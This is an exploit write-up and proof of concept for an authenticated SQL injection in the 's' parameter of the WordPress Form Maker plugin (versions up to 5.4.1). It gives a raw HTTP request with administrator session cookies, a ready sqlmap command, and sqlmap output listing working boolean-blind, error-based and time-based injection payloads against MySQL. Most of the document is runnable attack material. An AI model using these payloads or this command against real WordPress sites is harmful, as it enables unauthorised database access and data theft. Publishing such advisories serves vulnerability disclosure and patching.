WordPress Plugin Form Maker 5.4.1 - 's' SQL Injection (Authenticated)

# Exploit Title: Wordpress Plugin Form Maker 5.4.1 - 's' SQL Injection (Authenticated)
# Exploit Author: SunCSR (Sun* Cyber Security Research)
# Date: 2020 - 5 - 22
# Vender Homepage: https://help.10web.io/
# Version: <= 5.4.1
# Tested on: Ubuntu 18.04

Description:
SQL injection in the Form Maker by 10Web WordPress Plugin before 5.4.1
exists via the /wordpress/wp-admin/admin.php?page=blocked_ips_fm&s=1" s
parameter.

Poc:
GET /wordpress/wp-admin/admin.php?page=blocked_ips_fm&s=1" HTTP/1.1
Host: test-wp.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101
Firefox/76.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie:
wordpress_a1c6f59e10f34b6016913b2f9ff0346f=admin%7C1590313373%7CtioKZPEQ9lGWkoMcKGK2qjTp8kepuU9cqticECRXZ79%7C96d43f4ee5cf009365c9722f461d538f96a62637094759cb6fb7a9f54edac171;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_a1c6f59e10f34b6016913b2f9ff0346f=admin%7C1590313373%7CtioKZPEQ9lGWkoMcKGK2qjTp8kepuU9cqticECRXZ79%7C9a63283d84855ed6eeae8e4b5f3a405fba003ddd15748bf5cdca5caaca228a19;
wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1590140574;
PHPSESSID=5bpdr8tbj5furvccoadjjj2sgb
Upgrade-Insecure-Requests: 1

SQLMap using:
sqlmap -u '
http://test-wp.com:80/wordpress/wp-admin/admin.php?page=blocked_ips_fm&s=123'
--cookie='wordpress_a1c6f59e10f34b6016913b2f9ff0346f=admin%7C1590313373%7CtioKZPEQ9lGWkoMcKGK2qjTp8kepuU9cqticECRXZ79%7C96d43f4ee5cf009365c9722f461d538f96a62637094759cb6fb7a9f54edac171;wordpress_test_cookie=WP+Cookie+check;wordpress_logged_in_a1c6f59e10f34b6016913b2f9ff0346f=admin%7C1590313373%7CtioKZPEQ9lGWkoMcKGK2qjTp8kepuU9cqticECRXZ79%7C9a63283d84855ed6eeae8e4b5f3a405fba003ddd15748bf5cdca5caaca228a19;wp-settings-1=libraryContent%3Dbrowse;wp-settings-time-1=1590140574;PHPSESSID=5bpdr8tbj5furvccoadjjj2sgb'

Parameter: s (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: page=blocked_ips_fm&s=-1027" OR 8913=8913#

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
    Payload: page=blocked_ips_fm&s=123" AND (SELECT 2867 FROM(SELECT
COUNT(*),CONCAT(0x717a707871,(SELECT
(ELT(2867=2867,1))),0x71787a7671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- TxQH

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: page=blocked_ips_fm&s=123" AND SLEEP(5)-- oPEC
---
[17:20:17] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0